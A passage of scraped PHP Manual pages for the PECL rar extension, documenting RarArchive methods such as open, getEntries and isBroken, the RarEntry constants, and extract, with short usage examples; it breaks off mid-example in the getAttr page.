  • RarArchive::__toString — Get text representation

User Contributed Notes

There are no user contributed notes for this page.
rar_wrapper_cache_stats
RarArchive::close
Rar


Close RAR archive and free all resources

RarArchive
RarArchive::getComment
RarArchive
PHP Manual

RarArchive::close

rar_close

(PECL rar >= 2.0.0)

RarArchive::close -- rar_close — Close RAR archive and free all resources

Description

Object oriented style (method):

public bool RarArchive::close ( void )

Procedural style:

bool rar_close ( RarArchive $rarfile )

Close RAR archive and free all allocated resources.

Parameters

rarfile

A RarArchive object, opened with rar_open().

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
2.0.0 | The RAR entries returned by RarArchive::getEntry() and RarArchive::getEntries() are now invalidated when calling this method. This means that all instance methods called for such entries and not guaranteed to succeed.

Examples

Example #1 Object oriented style

<?php
$rar_arch = RarArchive::open('latest_winrar.rar');
echo $rar_arch."\n";
$rar_arch->close();
echo $rar_arch."\n";
?>

The above example will output something similar to:

RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar"
RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar" (closed)

Example #2 Procedural style

<?php
$rar_arch = rar_open('latest_winrar.rar');
echo $rar_arch."\n";
rar_close($rar_arch);
echo $rar_arch."\n";
?>

User Contributed Notes

There are no user contributed notes for this page.
RarArchive
RarArchive::getComment
RarArchive


Get comment text from the RAR archive

RarArchive::close
RarArchive::getEntries
RarArchive
PHP Manual

RarArchive::getComment

rar_comment_get

(PECL rar >= 2.0.0)

RarArchive::getComment -- rar_comment_get — Get comment text from the RAR archive

Description

Object oriented style (method):

public string RarArchive::getComment ( void )

Procedural style:

string rar_comment_get ( RarArchive $rarfile )

Get the (global) comment stored in the RAR archive. It may be up to 64 KiB long.

Note:

This extension does not support comments at the entry level.

Parameters

rarfile

A RarArchive object, opened with rar_open().

Return Values

Returns the comment or NULL if there is none.

Note:

RAR has currently no support for unicode comments. The encoding of the result of this function is not specified, but it will probably be Windows-1252.

Examples

Example #1 Object oriented style

<?php
$rar_arch = RarArchive::open('commented.rar');
echo $rar_arch->getComment();
?>

The above example will output something similar to:

This is the comment of the file commented.rar.

Example #2 Procedural style

<?php
$rar_arch = rar_open('commented.rar');
echo rar_comment_get($rar_arch);
?>

User Contributed Notes

There are no user contributed notes for this page.
RarArchive::close
RarArchive::getEntries
RarArchive


Get full list of entries from the RAR archive

RarArchive::getComment
RarArchive::getEntry
RarArchive
PHP Manual

RarArchive::getEntries

rar_list

(PECL rar >= 2.0.0)

RarArchive::getEntries -- rar_list — Get full list of entries from the RAR archive

Description

Object oriented style (method):

public array RarArchive::getEntries ( void )

Procedural style:

array rar_list ( RarArchive $rarfile )

Get entries list (files and directories) from the RAR archive.

Note:

If the archive has entries with the same name, this method, together with RarArchive foreach iteration and array-like access with numeric indexes, are the only ones to access all the entries (i.e., RarArchive::getEntry() and the rar:// wrapper are insufficient).

Parameters

rarfile

A RarArchive object, opened with rar_open().

Return Values

rar_list() returns array of RarEntry objects or FALSE on failure.

Changelog

Version | Description
3.0.0 | Support for RAR archives with repeated entry names is no longer defective.

Examples

Example #1 Object oriented style

<?php
$rar_arch = RarArchive::open('solid.rar');
if ($rar_arch === FALSE)
    die("Could not open RAR archive.");

$rar_entries = $rar_arch->getEntries();
if ($rar_entries === FALSE)
    die("Could retrieve entries.");

echo "Found " . count($rar_entries) . " entries.\n";

foreach ($rar_entries as $e) {
    echo $e;
    echo "\n";
}
$rar_arch->close();
?>

The above example will output something similar to:

Found 2 entries.
RarEntry for file "tese.txt" (23b93a7a)
RarEntry for file "unrardll.txt" (2ed64b6e)

Example #2 Procedural style

<?php
$rar_arch = rar_open('solid.rar');
if ($rar_arch === FALSE)
    die("Could not open RAR archive.");

$rar_entries = rar_list($rar_arch);
if ($rar_entries === FALSE)
    die("Could retrieve entries.");

echo "Found " . count($rar_entries) . " entries.\n";

foreach ($rar_entries as $e) {
    echo $e;
    echo "\n";
}
rar_close($rar_arch);
?>

See Also

  • RarArchive::getEntry() - Get entry object from the RAR archive
  • rar:// wrapper

User Contributed Notes

There are no user contributed notes for this page.
RarArchive::getComment
RarArchive::getEntry
RarArchive


Get entry object from the RAR archive

RarArchive::getEntries
RarArchive::isBroken
RarArchive
PHP Manual

RarArchive::getEntry

rar_entry_get

(PECL rar >= 2.0.0)

RarArchive::getEntry -- rar_entry_get — Get entry object from the RAR archive

Description

Object oriented style (method):

public RarEntry RarArchive::getEntry ( string $entryname )

Procedural style:

RarEntry rar_entry_get ( RarArchive $rarfile , string $entryname )

Get entry object (file or directory) from the RAR archive.

Note:

You can also get entry objects using RarArchive::getEntries().

Note that a RAR archive can have multiple entries with the same name; this method will retrieve only the first.

Parameters

rarfile

A RarArchive object, opened with rar_open().

entryname

Path to the entry within the RAR archive.

Note:

The path must be the same returned by RarEntry::getName().

Return Values

Returns the matching RarEntry object or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$rar_arch = RarArchive::open('solid.rar');
if ($rar_arch === FALSE)
    die("Could not open RAR archive.");
$rar_entry = $rar_arch->getEntry('tese.txt');
if ($rar_entry === FALSE)
    die("Could get such entry");
echo get_class($rar_entry)."\n";
echo $rar_entry;
$rar_arch->close();
?>

The above example will output something similar to:

RarEntry
RarEntry for file "tese.txt" (23b93a7a)

Example #2 Procedural style

<?php
$rar_arch = rar_open('solid.rar');
if ($rar_arch === FALSE)
    die("Could not open RAR archive.");
$rar_entry = rar_entry_get($rar_arch, 'tese.txt');
if ($rar_entry === FALSE)
    die("Could get such entry");
echo get_class($rar_entry)."\n";
echo $rar_entry;
rar_close($rar_arch);
?>

See Also

  • RarArchive::getEntries() - Get full list of entries from the RAR archive
  • rar:// wrapper

User Contributed Notes

There are no user contributed notes for this page.
RarArchive::getEntries
RarArchive::isBroken
RarArchive


Test whether an archive is broken (incomplete)

RarArchive::getEntry
RarArchive::isSolid
RarArchive
PHP Manual

RarArchive::isBroken

rar_broken_is

(PECL rar >= 3.0.0)

RarArchive::isBroken -- rar_broken_is — Test whether an archive is broken (incomplete)

Description

Object oriented style (method):

public bool RarArchive::isBroken ( void )

Procedural style:

bool rar_broken_is ( RarArchive $rarfile )

This function determines whether an archive is incomplete, i.e., if a volume is missing or a volume is truncated.

Parameters

rarfile

A RarArchive object, opened with rar_open().

Return Values

Returns TRUE if the archive is broken, FALSE otherwise. This function may also return FALSE if the passed file has already been closed. The only way to tell the two cases apart is to enable exceptions with RarException::setUsingExceptions(); however, this should be unnecessary as a program should not operate on closed files.

Examples

Example #1 Object oriented style

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument is used to omit notice */
$arch = RarArchive::open($file, null, 'retnull');
var_dump($arch->isBroken());
?>

The above example will output something similar to:

bool(true)

Example #2 Procedural style

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument is used to omit notice */
$arch = rar_open($file, null, 'retnull');
var_dump(rar_broken_is($arch));
?>

See Also

  • RarArchive::setAllowBroken() - Whether opening broken archives is allowed

User Contributed Notes

There are no user contributed notes for this page.
RarArchive::getEntry
RarArchive::isSolid
RarArchive


Check whether the RAR archive is solid

RarArchive::isBroken
RarArchive::open
RarArchive
PHP Manual

RarArchive::isSolid

rar_solid_is

(PECL rar >= 2.0.0)

RarArchive::isSolid -- rar_solid_is — Check whether the RAR archive is solid

Description

Object oriented style (method):

public bool RarArchive::isSolid ( void )

Procedural style:

bool rar_solid_is ( RarArchive $rarfile )

Check whether the RAR archive is solid. Individual file extraction is slower on solid archives.

Parameters

rarfile

A RarArchive object, opened with rar_open().

Return Values

Returns TRUE if the archive is solid, FALSE otherwise.

Examples

Example #1 Object oriented style

<?php
$arch1 = RarArchive::open("store_method.rar");
$arch2 = RarArchive::open("solid.rar");
echo "$arch1: " . ($arch1->isSolid()?'yes':'no') ."\n";
echo "$arch2: " . ($arch2->isSolid()?'yes':'no') . "\n";
?>

The above example will output something similar to:

RAR Archive "C:\php_rar\trunk\tests\store_method.rar": no
RAR Archive "C:\php_rar\trunk\tests\solid.rar": yes

Example #2 Procedural style

<?php
$arch1 = rar_open("store_method.rar");
$arch2 = rar_open("solid.rar");
echo "$arch1: " . (rar_solid_is($arch1)?'yes':'no') ."\n";
echo "$arch2: " . (rar_solid_is($arch2)?'yes':'no') . "\n";
?>

User Contributed Notes

There are no user contributed notes for this page.
RarArchive::isBroken
RarArchive::open
RarArchive


Open RAR archive

RarArchive::isSolid
RarArchive::setAllowBroken
RarArchive
PHP Manual

RarArchive::open

rar_open

(PECL rar >= 2.0.0)

RarArchive::open -- rar_open — Open RAR archive

Description

Object oriented style (method):

public static RarArchive RarArchive::open ( string $filename [, string $password = NULL [, callback $volume_callback = NULL ]] )

Procedural style:

RarArchive rar_open ( string $filename [, string $password = NULL [, callback $volume_callback = NULL ]] )

Open specified RAR archive and return RarArchive instance representing it.

Note:

If opening a multi-volume archive, the path of the first volume should be passed as the first parameter. Otherwise, not all files will be shown. This is by design.

Parameters

filename

Path to the Rar archive.

password

A plain password, if needed to decrypt the headers. It will also be used by default if encrypted files are found. Note that the files may have different passwords in respect to the headers and among them.

volume_callback

A function that receives one parameter – the path of the volume that was not found – and returns a string with the correct path for such volume or NULL if such volume does not exist or is not known. The programmer should ensure the passed function doesn't cause loops as this function is called repeatedly if the path returned in a previous call did not correspond to the needed volume. Specifying this parameter omits the notice that would otherwise be emitted whenever a volume is not found; an implementation that only returns NULL can therefore be used to merely omit such notices.

Warning

Prior to version 2.0.0, this function would not handle relative paths correctly. Use realpath() as a workaround.

Return Values

Returns the requested RarArchive instance or FALSE on failure.

Changelog

Version | Description
3.0.0 | volume_callback was added.

Examples

Example #1 Object oriented style

<?php
$rar_arch = RarArchive::open('encrypted_headers.rar', 'samplepassword');
if ($rar_arch === FALSE)
    die("Failed opening file");

$entries = $rar_arch->getEntries();
if ($entries === FALSE)
    die("Failed fetching entries");

echo "Found " . count($entries) . " files.\n";

if (empty($entries))
    die("No valid entries found.");

$stream = reset($entries)->getStream();
if ($stream === FALSE)
    die("Failed opening first file");

$rar_arch->close();

echo "Content of first one follows:\n";
echo stream_get_contents($stream);

fclose($stream);
?>

The above example will output something similar to:

Found 2 files.
Content of first one follows:
Encrypted file 1 contents.

Example #2 Procedural style

<?php
$rar_arch = rar_open('encrypted_headers.rar', 'samplepassword');
if ($rar_arch === FALSE)
    die("Failed opening file");

$entries = rar_list($rar_arch);
if ($entries === FALSE)
    die("Failed fetching entries");

echo "Found " . count($entries) . " files.\n";

if (empty($entries))
    die("No valid entries found.");

$stream = reset($entries)->getStream();
if ($stream === FALSE)
    die("Failed opening first file");

rar_close($rar_arch);

echo "Content of first one follows:\n";
echo stream_get_contents($stream);

fclose($stream);
?>

Example #3 Volume Callback

<?php
/* In this example, there's a volume named multi_broken.part1.rar
 * whose next volume is named multi.part2.rar */
function resolve($vol) {
    if (preg_match('/_broken/', $vol))
        return str_replace('_broken', '', $vol);
    else
        return null;
}
$rar_file1 = rar_open(dirname(__FILE__).'/multi_broken.part1.rar', null, 'resolve');
$entry = $rar_file1->getEntry('file2.txt');
$entry->extract(null, dirname(__FILE__) . "/temp_file2.txt");
?>

See Also

  • rar:// wrapper

User Contributed Notes

There are no user contributed notes for this page.
RarArchive::isSolid
RarArchive::setAllowBroken
RarArchive


Whether opening broken archives is allowed

RarArchive::open
RarArchive::__toString
RarArchive
PHP Manual

RarArchive::setAllowBroken

(PECL rar >= 3.0.0)

RarArchive::setAllowBroken — Whether opening broken archives is allowed

Description

Object oriented style (method):

public bool RarArchive::setAllowBroken ( bool $allow_broken )

Procedural style:

bool rar_allow_broken_set ( RarArchive $rarfile , bool $allow_broken )

This method defines whether broken archives can be read or all the operations that attempt to extract the archive entries will fail. Broken archives are archives for which no error is detected when the file is opened but an error occurs when reading the entries.

Parameters

rarfile

A RarArchive object, opened with rar_open().

allow_broken

Whether to allow reading broken files (TRUE) or not (FALSE).

Return Values

Returns TRUE or FALSE on failure. It will only fail if the file has already been closed.

Examples

Example #1 Object oriented style

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument omits "volume not found" message */
$a = RarArchive::open($file, null, 'retnull');
$a->setAllowBroken(true);
foreach ($a->getEntries() as $e) {
    echo "$e\n";
}
var_dump(count($a));
?>

The above example will output something similar to:

RarEntry for file "file1.txt" (52b28202)
int(1)

Example #2 Procedural style

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument omits "volume not found" message */
$a = rar_open($file, null, 'retnull');
rar_allow_broken_set($a, true);
foreach (rar_list($a) as $e) {
    echo "$e\n";
}
var_dump(count($a));
?>

See Also

  • RarArchive::isBroken() - Test whether an archive is broken (incomplete)

User Contributed Notes

There are no user contributed notes for this page.
RarArchive::open
RarArchive::__toString
RarArchive


Get text representation

RarArchive::setAllowBroken
RarEntry
RarArchive
PHP Manual

RarArchive::__toString

(PECL rar >= 2.0.0)

RarArchive::__toString — Get text representation

Description

public string RarArchive::__toString ( void )

Provides a string representation for this RarArchive object. It currently shows the full path name of the archive volume that was opened and whether the resource is valid or was already closed through a call to RarArchive::close().

This method may be used only for debugging purposes, as there are no guarantees as to which information the result contains or how it is formatted.

Parameters

This function has no parameters.

Return Values

A textual representation of this RarArchive object. The content of this representation is unspecified.

Examples

Example #1 RarArchive::__toString() example

<?php
$rar_arch = RarArchive::open('latest_winrar.rar');
echo $rar_arch."\n";
$rar_arch->close();
echo $rar_arch."\n";
?>

The above example will output something similar to:

RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar"
RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar" (closed)

User Contributed Notes

There are no user contributed notes for this page.
RarArchive::setAllowBroken
RarEntry
RarArchive


The RarEntry class

(No version information available, might only be in SVN)

Introduction

A RAR entry, representing a directory or a compressed file inside a RAR archive.

Class synopsis

final RarEntry {
/* Constants */
const integer HOST_MSDOS = 0 ;
const integer HOST_OS2 = 1 ;
const integer HOST_WIN32 = 2 ;
const integer HOST_UNIX = 3 ;
const integer HOST_MACOS = 4 ;
const integer HOST_BEOS = 5 ;
const integer ATTRIBUTE_WIN_READONLY = 1 ;
const integer ATTRIBUTE_WIN_HIDDEN = 2 ;
const integer ATTRIBUTE_WIN_SYSTEM = 4 ;
const integer ATTRIBUTE_WIN_DIRECTORY = 16 ;
const integer ATTRIBUTE_WIN_ARCHIVE = 32 ;
const integer ATTRIBUTE_WIN_DEVICE = 64 ;
const integer ATTRIBUTE_WIN_NORMAL = 128 ;
const integer ATTRIBUTE_WIN_TEMPORARY = 256 ;
const integer ATTRIBUTE_WIN_SPARSE_FILE = 512 ;
const integer ATTRIBUTE_WIN_REPARSE_POINT = 1024 ;
const integer ATTRIBUTE_WIN_COMPRESSED = 2048 ;
const integer ATTRIBUTE_WIN_OFFLINE = 4096 ;
const integer ATTRIBUTE_WIN_NOT_CONTENT_INDEXED = 8192 ;
const integer ATTRIBUTE_WIN_ENCRYPTED = 16384 ;
const integer ATTRIBUTE_WIN_VIRTUAL = 65536 ;
const integer ATTRIBUTE_UNIX_WORLD_EXECUTE = 1 ;
const integer ATTRIBUTE_UNIX_WORLD_WRITE = 2 ;
const integer ATTRIBUTE_UNIX_WORLD_READ = 4 ;
const integer ATTRIBUTE_UNIX_GROUP_EXECUTE = 8 ;
const integer ATTRIBUTE_UNIX_GROUP_WRITE = 16 ;
const integer ATTRIBUTE_UNIX_GROUP_READ = 32 ;
const integer ATTRIBUTE_UNIX_OWNER_EXECUTE = 64 ;
const integer ATTRIBUTE_UNIX_OWNER_WRITE = 128 ;
const integer ATTRIBUTE_UNIX_OWNER_READ = 256 ;
const integer ATTRIBUTE_UNIX_STICKY = 512 ;
const integer ATTRIBUTE_UNIX_SETGID = 1024 ;
const integer ATTRIBUTE_UNIX_SETUID = 2048 ;
const integer ATTRIBUTE_UNIX_FINAL_QUARTET = 61440 ;
const integer ATTRIBUTE_UNIX_FIFO = 4096 ;
const integer ATTRIBUTE_UNIX_CHAR_DEV = 8192 ;
const integer ATTRIBUTE_UNIX_DIRECTORY = 16384 ;
const integer ATTRIBUTE_UNIX_BLOCK_DEV = 24576 ;
const integer ATTRIBUTE_UNIX_REGULAR_FILE = 32768 ;
const integer ATTRIBUTE_UNIX_SYM_LINK = 40960 ;
const integer ATTRIBUTE_UNIX_SOCKET = 49152 ;
/* Methods */
public bool extract ( string $dir [, string $filepath = '' [, string $password = NULL [, bool $extended_data = false ]]] )
public int getAttr ( void )
public string getCrc ( void )
public string getFileTime ( void )
public int getHostOs ( void )
public int getMethod ( void )
public string getName ( void )
public int getPackedSize ( void )
public resource getStream ([ string $password ] )
public int getUnpackedSize ( void )
public int getVersion ( void )
public bool isDirectory ( void )
public bool isEncrypted ( void )
public string __toString ( void )
}

Predefined Constants

RarEntry::HOST_MSDOS

If the return value of RarEntry::getHostOs() equals this constant, MS-DOS was used to add this entry. Use instead of RAR_HOST_MSDOS.

RarEntry::HOST_OS2

If the return value of RarEntry::getHostOs() equals this constant, OS/2 was used to add this entry. Intended to replace RAR_HOST_OS2.

RarEntry::HOST_WIN32

If the return value of RarEntry::getHostOs() equals this constant, Microsoft Windows was used to add this entry. Intended to replace RAR_HOST_WIN32.

RarEntry::HOST_UNIX

If the return value of RarEntry::getHostOs() equals this constant, an unspecified UNIX OS was used to add this entry. Intended to replace RAR_HOST_UNIX.

RarEntry::HOST_MACOS

If the return value of RarEntry::getHostOs() equals this constant, Mac OS was used to add this entry.

RarEntry::HOST_BEOS

If the return value of RarEntry::getHostOs() equals this constant, BeOS was used to add this entry. Intended to replace RAR_HOST_BEOS.

RarEntry::ATTRIBUTE_WIN_READONLY

Bit that represents a Windows entry with a read-only attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_HIDDEN

Bit that represents a Windows entry with a hidden attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_SYSTEM

Bit that represents a Windows entry with a system attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_DIRECTORY

Bit that represents a Windows entry with a directory attribute (entry is a directory). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows. See also RarEntry::isDirectory(), which also works with entries that were not added in WinRAR.

RarEntry::ATTRIBUTE_WIN_ARCHIVE

Bit that represents a Windows entry with an archive attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_DEVICE

Bit that represents a Windows entry with a device attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_NORMAL

Bit that represents a Windows entry with a normal file attribute (entry is NOT a directory). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows. See also RarEntry::isDirectory(), which also works with entries that were not added in WinRAR.

RarEntry::ATTRIBUTE_WIN_TEMPORARY

Bit that represents a Windows entry with a temporary attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_SPARSE_FILE

Bit that represents a Windows entry with a sparse file attribute (file is an NTFS sparse file). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_REPARSE_POINT

Bit that represents a Windows entry with a reparse point attribute (entry is an NTFS reparse point, e.g. a directory junction or a mount file system). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_COMPRESSED

Bit that represents a Windows entry with a compressed attribute (NTFS only). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_OFFLINE

Bit that represents a Windows entry with an offline attribute (entry is offline and not accessible). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_NOT_CONTENT_INDEXED

Bit that represents a Windows entry with a not content indexed attribute (entry is to be indexed). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_ENCRYPTED

Bit that represents a Windows entry with an encrypted attribute (NTFS only). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_VIRTUAL

Bit that represents a Windows entry with a virtual attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_UNIX_WORLD_EXECUTE

Bit that represents a UNIX entry that is world executable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_WORLD_WRITE

Bit that represents a UNIX entry that is world writable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_WORLD_READ

Bit that represents a UNIX entry that is world readable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_EXECUTE

Bit that represents a UNIX entry that is group executable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_WRITE

Bit that represents a UNIX entry that is group writable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_READ

Bit that represents a UNIX entry that is group readable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_EXECUTE

Bit that represents a UNIX entry that is owner executable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_WRITE

Bit that represents a UNIX entry that is owner writable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_READ

Bit that represents a UNIX entry that is owner readable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_STICKY

Bit that represents the UNIX sticky bit. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_SETGID

Bit that represents the UNIX setgid attribute. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_SETUID

Bit that represents the UNIX setuid attribute. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET

Mask to isolate the last four bits (nibble) of UNIX attributes
      (_S_IFMT, the type of file mask). To be used with
       RarEntry::getAttr() on entries whose host OS is UNIX and with the
      constants RarEntry::ATTRIBUTE_UNIX_FIFO,
      RarEntry::ATTRIBUTE_UNIX_CHAR_DEV,
      RarEntry::ATTRIBUTE_UNIX_DIRECTORY,
      RarEntry::ATTRIBUTE_UNIX_BLOCK_DEV,
      RarEntry::ATTRIBUTE_UNIX_REGULAR_FILE,
      RarEntry::ATTRIBUTE_UNIX_SYM_LINK and
      RarEntry::ATTRIBUTE_UNIX_SOCKET.

RarEntry::ATTRIBUTE_UNIX_FIFO

Unix FIFOs will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_CHAR_DEV

Unix character devices will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_DIRECTORY

Unix directories will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET. See also RarEntry::isDirectory(), which also works with entries that were added in other operating systems.

RarEntry::ATTRIBUTE_UNIX_BLOCK_DEV

Unix block devices will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_REGULAR_FILE

Unix regular files (not directories) will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET. See also RarEntry::isDirectory(), which also works with entries that were added in other operating systems.

RarEntry::ATTRIBUTE_UNIX_SYM_LINK

Unix symbolic links will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_SOCKET

Unix sockets will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

Table of Contents

  • RarEntry::extract — Extract entry from the archive
  • RarEntry::getAttr — Get attributes of the entry
  • RarEntry::getCrc — Get CRC of the entry
  • RarEntry::getFileTime — Get entry last modification time
  • RarEntry::getHostOs — Get entry host OS
  • RarEntry::getMethod — Get pack method of the entry
  • RarEntry::getName — Get name of the entry
  • RarEntry::getPackedSize — Get packed size of the entry
  • RarEntry::getStream — Get file handler for entry
  • RarEntry::getUnpackedSize — Get unpacked size of the entry
  • RarEntry::getVersion — Get minimum version of RAR program required to unpack the entry
  • RarEntry::isDirectory — Test whether an entry represents a directory
  • RarEntry::isEncrypted — Test whether an entry is encrypted
  • RarEntry::__toString — Get text representation of entry

User Contributed Notes

There are no user contributed notes for this page.
RarArchive::__toString
RarEntry::extract
Rar


Extract entry from the archive

RarEntry
RarEntry::getAttr
RarEntry
PHP Manual

RarEntry::extract

(PECL rar >= 0.1)

RarEntry::extract — Extract entry from the archive

Description

public bool RarEntry::extract ( string $dir [, string $filepath = '' [, string $password = NULL [, bool $extended_data = false ]]] )

RarEntry::extract() extracts the entry's data. It will create new file in the specified dir with the name identical to the entry's name, unless the second argument is specified. See below for more information.

Parameters

dir

Path to the directory where files should be extracted. This parameter is considered if and only if filepath is not. If both parameters are empty an extraction to the current directory will be attempted.

filepath

Path (relative or absolute) containing the directory and filename of the extracted file. This parameter overrides both the parameter dir and the original file name.

password

The password used to encrypt this entry. If the entry is not encrypted, this value will not be used and can be omitted. If this parameter is omitted and the entry is encrypted, the password given to rar_open(), if any, will be used. If a wrong password is given, either explicitly or implicitly via rar_open(), CRC checking will fail and this method will fail and return FALSE. If no password is given and one is required, this method will fail and return FALSE. You can check whether an entry is encrypted with RarEntry::isEncrypted().

extended_data

If TRUE, extended information such as NTFS ACLs and Unix owner information will be set in the extract files, as long as it's present in the archive.

Warning

Prior to version 2.0.0, this function would not handle relative paths correctly. Use realpath() as a workaround.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
3.0.0 | extended_data was added.
3.0.0 | Support for RAR archives with repeated entry names is no longer defective.

Examples

Example #1 RarEntry::extract() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

$entry->extract('/dir/to'); // create /dir/to/Dir/file.txt
$entry->extract(false, '/dir/to/new_name.txt'); // create /dir/to/new_name.txt

?>

Example #2 How to extract all files in archive:

<?php

/* example by Erik Jenssen aka erix */

$filename = "foobar.rar";
$filepath = "/home/foo/bar/";

$rar_file = rar_open($filepath.$filename);
$list = rar_list($rar_file);
foreach($list as $file) {
    $entry = rar_entry_get($rar_file, $file);
    $entry->extract("."); // extract to the current dir
}
rar_close($rar_file);

?>

See Also

  • RarEntry::getStream() - Get file handler for entry
  • rar:// wrapper

User Contributed Notes

Anonymous 28-Nov-2011 11:18
Of course, mixing procedural and object oriented style is bad practice, so a better example to extract all files is:

<?php

/* example by somebody who does know how to code */

$filename = 'foobar.rar';
$filepath = '/home/foo/bar/';

$rar_file = RarArchive::open($filepath.$filename);

foreach($rar_file->getEntries() as $entry)
{
  $entry->extract(''); // extract to the current dir
}
$rar_file->close();

?>
RarEntry
RarEntry::getAttr
RarEntry


Get attributes of the entry

RarEntry::extract
RarEntry::getCrc
RarEntry
PHP Manual

RarEntry::getAttr

(PECL rar >= 0.1)

RarEntry::getAttr — Get attributes of the entry

Description

public int RarEntry::getAttr ( void )

Returns the OS-dependent attributes of the archive entry.

Parameters

This function has no parameters.

Return Values

Returns the attributes or FALSE on error.

Examples

Example #1 RarEntry::getAttr() example

<?php

$rar_file = rar_open('example.rar') or die("Can't open Rar archive");

$entry = rar_entry_get($rar_file, 'dir/in/the/archive') or die("Can't find such entry");

$host_os = $entry->getHostOs();
$attr = $entry->getAttr();

switch($host_os) {
    case RAR_HOST_MSDOS:
    case RAR_HOST_OS2:
    case RAR_HOST_WIN32:
    case RAR_HOST_MACOS:
        printf("%c%c%c%c%c%c\n",
                ($attr & 0x08) ? 'V' : '.',
                ($attr & 0x10) ? 'D' : '.',
                ($attr & 0x01) ? 'R' : '.',
                ($attr & 0x02) ? 'H' : '.',
                ($attr & 0x04) ? 'S' : '.',
                ($attr & 0x20) ? 'A' : '.');
        break;
    case RAR_HOST_UNIX:
    case RAR_HOST_BEOS:
        switch ($attr & 0xF000)
        {
            case 0x4000:
                printf("d");
                break;
            case 0xA000:
                printf("l");
                break;
            default:
                printf("-");
                break;
        }
        printf("%c%c%c%c%c%c%c%c%c\n",
                ($attr & 0x0100) ? 'r' : '-',
                ($attr & 0x0080) ? 'w' : '-',
                ($attr & 0x0040) ? (($attr & 0x0800) ? 's':'x'):(($attr & 0x0800) ? 'S':'-'),
                ($attr & 0x0020) ? 'r' : '-',
                ($attr & 0x0010) ? 'w' : '-',
                ($attr & 0x0008) ? (($attr & 0x0400) ? 's':'x'):(($attr & 0x0400) ? 'S':'-'),
                ($attr & 0x0004) ? 'r' : '-',
                ($attr & 0x0002) ? 'w' : '-',
